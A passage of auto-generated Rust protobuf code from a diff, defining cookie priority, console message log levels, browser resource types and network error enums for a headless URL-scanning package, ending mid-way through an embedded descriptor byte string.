::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_MEDIUM), + "COOKIE_PRIORITY_LOW" => ::std::option::Option::Some(CookiePriority::COOKIE_PRIORITY_LOW), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [CookiePriority] = &[ + CookiePriority::COOKIE_PRIORITY_UNDEFINED, + CookiePriority::COOKIE_PRIORITY_HIGH, + CookiePriority::COOKIE_PRIORITY_MEDIUM, + CookiePriority::COOKIE_PRIORITY_LOW, + ]; + } + + impl ::protobuf::EnumFull for CookiePriority { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| super::file_descriptor().enum_by_package_relative_name("Cookie.CookiePriority").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = *self as usize; + Self::enum_descriptor().value_by_index(index) + } + } + + impl ::std::default::Default for CookiePriority { + fn default() -> Self { + CookiePriority::COOKIE_PRIORITY_UNDEFINED + } + } + + impl CookiePriority { + pub(in super) fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("Cookie.CookiePriority") + } + } +} + +// @@protoc_insertion_point(message:vt.urlheadless.ConsoleMessage) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct ConsoleMessage { + // message fields + // @@protoc_insertion_point(field:vt.urlheadless.ConsoleMessage.content) + pub content: ::std::string::String, + // @@protoc_insertion_point(field:vt.urlheadless.ConsoleMessage.source_file) + pub source_file: ::std::string::String, + // @@protoc_insertion_point(field:vt.urlheadless.ConsoleMessage.level) + pub level: ::protobuf::EnumOrUnknown, + // special fields + // @@protoc_insertion_point(special_field:vt.urlheadless.ConsoleMessage.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a ConsoleMessage { + fn default() -> &'a ConsoleMessage { + ::default_instance() + } +} + +impl ConsoleMessage { + pub fn new() -> ConsoleMessage { + ::std::default::Default::default() + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "content", + |m: &ConsoleMessage| { &m.content }, + |m: &mut ConsoleMessage| { &mut m.content }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "source_file", + |m: &ConsoleMessage| { &m.source_file }, + |m: &mut ConsoleMessage| { &mut m.source_file }, + )); + fields.push(::protobuf::reflect::rt::v2::make_simpler_field_accessor::<_, _>( + "level", + |m: &ConsoleMessage| { &m.level }, + |m: &mut ConsoleMessage| { &mut m.level }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "ConsoleMessage", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for ConsoleMessage { + const NAME: &'static str = "ConsoleMessage"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.content = is.read_string()?; + }, + 18 => { + self.source_file = is.read_string()?; + }, + 24 => { + self.level = is.read_enum_or_unknown()?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if !self.content.is_empty() { + my_size += ::protobuf::rt::string_size(1, &self.content); + } + if !self.source_file.is_empty() { + my_size += ::protobuf::rt::string_size(2, &self.source_file); + } + if self.level != ::protobuf::EnumOrUnknown::new(console_message::LogLevel::LOG_LEVEL_UNDEFINED) { + my_size += ::protobuf::rt::int32_size(3, self.level.value()); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if !self.content.is_empty() { + os.write_string(1, &self.content)?; + } + if !self.source_file.is_empty() { + os.write_string(2, &self.source_file)?; + } + if self.level != ::protobuf::EnumOrUnknown::new(console_message::LogLevel::LOG_LEVEL_UNDEFINED) { + os.write_enum(3, ::protobuf::EnumOrUnknown::value(&self.level))?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ConsoleMessage { + ConsoleMessage::new() + } + + fn clear(&mut self) { + self.content.clear(); + self.source_file.clear(); + self.level = ::protobuf::EnumOrUnknown::new(console_message::LogLevel::LOG_LEVEL_UNDEFINED); + self.special_fields.clear(); + } + + fn default_instance() -> &'static ConsoleMessage { + static instance: ConsoleMessage = ConsoleMessage { + content: ::std::string::String::new(), + source_file: ::std::string::String::new(), + level: ::protobuf::EnumOrUnknown::from_i32(0), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for ConsoleMessage { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("ConsoleMessage").unwrap()).clone() + } +} + +impl ::std::fmt::Display for ConsoleMessage { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for ConsoleMessage { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +/// Nested message and enums of message `ConsoleMessage` +pub mod console_message { + #[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] + // @@protoc_insertion_point(enum:vt.urlheadless.ConsoleMessage.LogLevel) + pub enum LogLevel { + // @@protoc_insertion_point(enum_value:vt.urlheadless.ConsoleMessage.LogLevel.LOG_LEVEL_UNDEFINED) + LOG_LEVEL_UNDEFINED = 0, + // @@protoc_insertion_point(enum_value:vt.urlheadless.ConsoleMessage.LogLevel.LOG_LEVEL_DEBUG) + LOG_LEVEL_DEBUG = 1, + // @@protoc_insertion_point(enum_value:vt.urlheadless.ConsoleMessage.LogLevel.LOG_LEVEL_WARNING) + LOG_LEVEL_WARNING = 2, + // @@protoc_insertion_point(enum_value:vt.urlheadless.ConsoleMessage.LogLevel.LOG_LEVEL_ERROR) + LOG_LEVEL_ERROR = 3, + // @@protoc_insertion_point(enum_value:vt.urlheadless.ConsoleMessage.LogLevel.LOG_LEVEL_INFO) + LOG_LEVEL_INFO = 4, + // @@protoc_insertion_point(enum_value:vt.urlheadless.ConsoleMessage.LogLevel.LOG_LEVEL_LOG) + LOG_LEVEL_LOG = 5, + } + + impl ::protobuf::Enum for LogLevel { + const NAME: &'static str = "LogLevel"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(LogLevel::LOG_LEVEL_UNDEFINED), + 1 => ::std::option::Option::Some(LogLevel::LOG_LEVEL_DEBUG), + 2 => ::std::option::Option::Some(LogLevel::LOG_LEVEL_WARNING), + 3 => ::std::option::Option::Some(LogLevel::LOG_LEVEL_ERROR), + 4 => ::std::option::Option::Some(LogLevel::LOG_LEVEL_INFO), + 5 => ::std::option::Option::Some(LogLevel::LOG_LEVEL_LOG), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "LOG_LEVEL_UNDEFINED" => ::std::option::Option::Some(LogLevel::LOG_LEVEL_UNDEFINED), + "LOG_LEVEL_DEBUG" => ::std::option::Option::Some(LogLevel::LOG_LEVEL_DEBUG), + "LOG_LEVEL_WARNING" => ::std::option::Option::Some(LogLevel::LOG_LEVEL_WARNING), + "LOG_LEVEL_ERROR" => ::std::option::Option::Some(LogLevel::LOG_LEVEL_ERROR), + "LOG_LEVEL_INFO" => ::std::option::Option::Some(LogLevel::LOG_LEVEL_INFO), + "LOG_LEVEL_LOG" => ::std::option::Option::Some(LogLevel::LOG_LEVEL_LOG), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [LogLevel] = &[ + LogLevel::LOG_LEVEL_UNDEFINED, + LogLevel::LOG_LEVEL_DEBUG, + LogLevel::LOG_LEVEL_WARNING, + LogLevel::LOG_LEVEL_ERROR, + LogLevel::LOG_LEVEL_INFO, + LogLevel::LOG_LEVEL_LOG, + ]; + } + + impl ::protobuf::EnumFull for LogLevel { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| super::file_descriptor().enum_by_package_relative_name("ConsoleMessage.LogLevel").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = *self as usize; + Self::enum_descriptor().value_by_index(index) + } + } + + impl ::std::default::Default for LogLevel { + fn default() -> Self { + LogLevel::LOG_LEVEL_UNDEFINED + } + } + + impl LogLevel { + pub(in super) fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("ConsoleMessage.LogLevel") + } + } +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:vt.urlheadless.BrowserResourceType) +pub enum BrowserResourceType { + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_OTHER) + BROWSER_RESOURCE_TYPE_OTHER = 0, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_DOCUMENT) + BROWSER_RESOURCE_TYPE_DOCUMENT = 1, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_SCRIPT) + BROWSER_RESOURCE_TYPE_SCRIPT = 2, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_FETCH) + BROWSER_RESOURCE_TYPE_FETCH = 3, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_STYLESHEET) + BROWSER_RESOURCE_TYPE_STYLESHEET = 4, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_IMAGE) + BROWSER_RESOURCE_TYPE_IMAGE = 5, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_FONT) + BROWSER_RESOURCE_TYPE_FONT = 6, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_MEDIA) + BROWSER_RESOURCE_TYPE_MEDIA = 7, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_XHR) + BROWSER_RESOURCE_TYPE_XHR = 8, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_PING) + BROWSER_RESOURCE_TYPE_PING = 9, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_MAIN_FRAME) + BROWSER_RESOURCE_TYPE_MAIN_FRAME = 10, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_SUB_FRAME) + BROWSER_RESOURCE_TYPE_SUB_FRAME = 11, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_WEBSOCKET) + BROWSER_RESOURCE_TYPE_WEBSOCKET = 12, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_OBJECT) + BROWSER_RESOURCE_TYPE_OBJECT = 13, + // @@protoc_insertion_point(enum_value:vt.urlheadless.BrowserResourceType.BROWSER_RESOURCE_TYPE_CSP_REPORT) + BROWSER_RESOURCE_TYPE_CSP_REPORT = 14, +} + +impl ::protobuf::Enum for BrowserResourceType { + const NAME: &'static str = "BrowserResourceType"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_OTHER), + 1 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_DOCUMENT), + 2 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_SCRIPT), + 3 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_FETCH), + 4 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_STYLESHEET), + 5 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_IMAGE), + 6 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_FONT), + 7 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_MEDIA), + 8 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_XHR), + 9 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_PING), + 10 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_MAIN_FRAME), + 11 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_SUB_FRAME), + 12 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_WEBSOCKET), + 13 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_OBJECT), + 14 => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_CSP_REPORT), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "BROWSER_RESOURCE_TYPE_OTHER" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_OTHER), + "BROWSER_RESOURCE_TYPE_DOCUMENT" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_DOCUMENT), + "BROWSER_RESOURCE_TYPE_SCRIPT" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_SCRIPT), + "BROWSER_RESOURCE_TYPE_FETCH" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_FETCH), + "BROWSER_RESOURCE_TYPE_STYLESHEET" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_STYLESHEET), + "BROWSER_RESOURCE_TYPE_IMAGE" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_IMAGE), + "BROWSER_RESOURCE_TYPE_FONT" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_FONT), + "BROWSER_RESOURCE_TYPE_MEDIA" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_MEDIA), + "BROWSER_RESOURCE_TYPE_XHR" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_XHR), + "BROWSER_RESOURCE_TYPE_PING" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_PING), + "BROWSER_RESOURCE_TYPE_MAIN_FRAME" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_MAIN_FRAME), + "BROWSER_RESOURCE_TYPE_SUB_FRAME" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_SUB_FRAME), + "BROWSER_RESOURCE_TYPE_WEBSOCKET" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_WEBSOCKET), + "BROWSER_RESOURCE_TYPE_OBJECT" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_OBJECT), + "BROWSER_RESOURCE_TYPE_CSP_REPORT" => ::std::option::Option::Some(BrowserResourceType::BROWSER_RESOURCE_TYPE_CSP_REPORT), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [BrowserResourceType] = &[ + BrowserResourceType::BROWSER_RESOURCE_TYPE_OTHER, + BrowserResourceType::BROWSER_RESOURCE_TYPE_DOCUMENT, + BrowserResourceType::BROWSER_RESOURCE_TYPE_SCRIPT, + BrowserResourceType::BROWSER_RESOURCE_TYPE_FETCH, + BrowserResourceType::BROWSER_RESOURCE_TYPE_STYLESHEET, + BrowserResourceType::BROWSER_RESOURCE_TYPE_IMAGE, + BrowserResourceType::BROWSER_RESOURCE_TYPE_FONT, + BrowserResourceType::BROWSER_RESOURCE_TYPE_MEDIA, + BrowserResourceType::BROWSER_RESOURCE_TYPE_XHR, + BrowserResourceType::BROWSER_RESOURCE_TYPE_PING, + BrowserResourceType::BROWSER_RESOURCE_TYPE_MAIN_FRAME, + BrowserResourceType::BROWSER_RESOURCE_TYPE_SUB_FRAME, + BrowserResourceType::BROWSER_RESOURCE_TYPE_WEBSOCKET, + BrowserResourceType::BROWSER_RESOURCE_TYPE_OBJECT, + BrowserResourceType::BROWSER_RESOURCE_TYPE_CSP_REPORT, + ]; +} + +impl ::protobuf::EnumFull for BrowserResourceType { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("BrowserResourceType").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = *self as usize; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for BrowserResourceType { + fn default() -> Self { + BrowserResourceType::BROWSER_RESOURCE_TYPE_OTHER + } +} + +impl BrowserResourceType { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("BrowserResourceType") + } +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:vt.urlheadless.NetError) +pub enum NetError { + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_UNSPECIFIED) + NET_ERROR_UNSPECIFIED = 0, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_NAME_NOT_RESOLVED) + NET_ERROR_NAME_NOT_RESOLVED = 1, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_ADDRESS_UNREACHABLE) + NET_ERROR_ADDRESS_UNREACHABLE = 2, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_CONNECTION_REFUSED) + NET_ERROR_CONNECTION_REFUSED = 3, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH) + NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH = 4, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_CONNECTION_RESET) + NET_ERROR_CONNECTION_RESET = 5, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_INVALID_RESPONSE) + NET_ERROR_INVALID_RESPONSE = 6, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_EMPTY_RESPONSE) + NET_ERROR_EMPTY_RESPONSE = 7, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_CONNECTION_CLOSED) + NET_ERROR_CONNECTION_CLOSED = 8, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_CONNECTION_TIMED_OUT) + NET_ERROR_CONNECTION_TIMED_OUT = 9, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_INVALID_HTTP_RESPONSE) + NET_ERROR_INVALID_HTTP_RESPONSE = 10, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_HTTP) + NET_ERROR_HTTP = 11, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_INVALID_REDIRECT) + NET_ERROR_INVALID_REDIRECT = 12, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE) + NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE = 13, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_SSL_PROTOCOL_ERROR) + NET_ERROR_SSL_PROTOCOL_ERROR = 14, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_SSL_UNRECOGNIZED_NAME_ALERT) + NET_ERROR_SSL_UNRECOGNIZED_NAME_ALERT = 15, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_TIMED_OUT) + NET_ERROR_TIMED_OUT = 16, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS) + NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS = 17, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_TOO_MANY_REDIRECTS) + NET_ERROR_TOO_MANY_REDIRECTS = 18, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_UNEXPECTED_PROXY_AUTH) + NET_ERROR_UNEXPECTED_PROXY_AUTH = 19, + // @@protoc_insertion_point(enum_value:vt.urlheadless.NetError.NET_ERROR_UNSAFE_PORT) + NET_ERROR_UNSAFE_PORT = 20, +} + +impl ::protobuf::Enum for NetError { + const NAME: &'static str = "NetError"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(NetError::NET_ERROR_UNSPECIFIED), + 1 => ::std::option::Option::Some(NetError::NET_ERROR_NAME_NOT_RESOLVED), + 2 => ::std::option::Option::Some(NetError::NET_ERROR_ADDRESS_UNREACHABLE), + 3 => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_REFUSED), + 4 => ::std::option::Option::Some(NetError::NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH), + 5 => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_RESET), + 6 => ::std::option::Option::Some(NetError::NET_ERROR_INVALID_RESPONSE), + 7 => ::std::option::Option::Some(NetError::NET_ERROR_EMPTY_RESPONSE), + 8 => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_CLOSED), + 9 => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_TIMED_OUT), + 10 => ::std::option::Option::Some(NetError::NET_ERROR_INVALID_HTTP_RESPONSE), + 11 => ::std::option::Option::Some(NetError::NET_ERROR_HTTP), + 12 => ::std::option::Option::Some(NetError::NET_ERROR_INVALID_REDIRECT), + 13 => ::std::option::Option::Some(NetError::NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE), + 14 => ::std::option::Option::Some(NetError::NET_ERROR_SSL_PROTOCOL_ERROR), + 15 => ::std::option::Option::Some(NetError::NET_ERROR_SSL_UNRECOGNIZED_NAME_ALERT), + 16 => ::std::option::Option::Some(NetError::NET_ERROR_TIMED_OUT), + 17 => ::std::option::Option::Some(NetError::NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS), + 18 => ::std::option::Option::Some(NetError::NET_ERROR_TOO_MANY_REDIRECTS), + 19 => ::std::option::Option::Some(NetError::NET_ERROR_UNEXPECTED_PROXY_AUTH), + 20 => ::std::option::Option::Some(NetError::NET_ERROR_UNSAFE_PORT), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "NET_ERROR_UNSPECIFIED" => ::std::option::Option::Some(NetError::NET_ERROR_UNSPECIFIED), + "NET_ERROR_NAME_NOT_RESOLVED" => ::std::option::Option::Some(NetError::NET_ERROR_NAME_NOT_RESOLVED), + "NET_ERROR_ADDRESS_UNREACHABLE" => ::std::option::Option::Some(NetError::NET_ERROR_ADDRESS_UNREACHABLE), + "NET_ERROR_CONNECTION_REFUSED" => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_REFUSED), + "NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH" => ::std::option::Option::Some(NetError::NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH), + "NET_ERROR_CONNECTION_RESET" => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_RESET), + "NET_ERROR_INVALID_RESPONSE" => ::std::option::Option::Some(NetError::NET_ERROR_INVALID_RESPONSE), + "NET_ERROR_EMPTY_RESPONSE" => ::std::option::Option::Some(NetError::NET_ERROR_EMPTY_RESPONSE), + "NET_ERROR_CONNECTION_CLOSED" => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_CLOSED), + "NET_ERROR_CONNECTION_TIMED_OUT" => ::std::option::Option::Some(NetError::NET_ERROR_CONNECTION_TIMED_OUT), + "NET_ERROR_INVALID_HTTP_RESPONSE" => ::std::option::Option::Some(NetError::NET_ERROR_INVALID_HTTP_RESPONSE), + "NET_ERROR_HTTP" => ::std::option::Option::Some(NetError::NET_ERROR_HTTP), + "NET_ERROR_INVALID_REDIRECT" => ::std::option::Option::Some(NetError::NET_ERROR_INVALID_REDIRECT), + "NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE" => ::std::option::Option::Some(NetError::NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE), + "NET_ERROR_SSL_PROTOCOL_ERROR" => ::std::option::Option::Some(NetError::NET_ERROR_SSL_PROTOCOL_ERROR), + "NET_ERROR_SSL_UNRECOGNIZED_NAME_ALERT" => ::std::option::Option::Some(NetError::NET_ERROR_SSL_UNRECOGNIZED_NAME_ALERT), + "NET_ERROR_TIMED_OUT" => ::std::option::Option::Some(NetError::NET_ERROR_TIMED_OUT), + "NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS" => ::std::option::Option::Some(NetError::NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS), + "NET_ERROR_TOO_MANY_REDIRECTS" => ::std::option::Option::Some(NetError::NET_ERROR_TOO_MANY_REDIRECTS), + "NET_ERROR_UNEXPECTED_PROXY_AUTH" => ::std::option::Option::Some(NetError::NET_ERROR_UNEXPECTED_PROXY_AUTH), + "NET_ERROR_UNSAFE_PORT" => ::std::option::Option::Some(NetError::NET_ERROR_UNSAFE_PORT), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [NetError] = &[ + NetError::NET_ERROR_UNSPECIFIED, + NetError::NET_ERROR_NAME_NOT_RESOLVED, + NetError::NET_ERROR_ADDRESS_UNREACHABLE, + NetError::NET_ERROR_CONNECTION_REFUSED, + NetError::NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH, + NetError::NET_ERROR_CONNECTION_RESET, + NetError::NET_ERROR_INVALID_RESPONSE, + NetError::NET_ERROR_EMPTY_RESPONSE, + NetError::NET_ERROR_CONNECTION_CLOSED, + NetError::NET_ERROR_CONNECTION_TIMED_OUT, + NetError::NET_ERROR_INVALID_HTTP_RESPONSE, + NetError::NET_ERROR_HTTP, + NetError::NET_ERROR_INVALID_REDIRECT, + NetError::NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE, + NetError::NET_ERROR_SSL_PROTOCOL_ERROR, + NetError::NET_ERROR_SSL_UNRECOGNIZED_NAME_ALERT, + NetError::NET_ERROR_TIMED_OUT, + NetError::NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS, + NetError::NET_ERROR_TOO_MANY_REDIRECTS, + NetError::NET_ERROR_UNEXPECTED_PROXY_AUTH, + NetError::NET_ERROR_UNSAFE_PORT, + ]; +} + +impl ::protobuf::EnumFull for NetError { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("NetError").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = *self as usize; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for NetError { + fn default() -> Self { + NetError::NET_ERROR_UNSPECIFIED + } +} + +impl NetError { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("NetError") + } +} + +static file_descriptor_proto_data: &'static [u8] = b"\ + \n\x14vt/urlheadless.proto\x12\x0evt.urlheadless\x1a\x12vt/filetypes.pro\ + to\"\x8a\x03\n\x06Cookie\x12\x12\n\x04name\x18\x01\x20\x01(\tR\x04name\ + \x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value\x12\x16\n\x06domain\x18\ + \x03\x20\x01(\tR\x06domain\x12\x18\n\x07expires\x18\x04\x20\x01(\x05R\ + \x07expires\x12\x12\n\x04size\x18\x05\x20\x01(\x05R\x04size\x12\x1b\n\th\ + ttp_only\x18\x06\x20\x01(\x08R\x08httpOnly\x12\x16\n\x06secure\x18\x07\ + \x20\x01(\x08R\x06secure\x12\x18\n\x07session\x18\x08\x20\x01(\x08R\x07s\ + 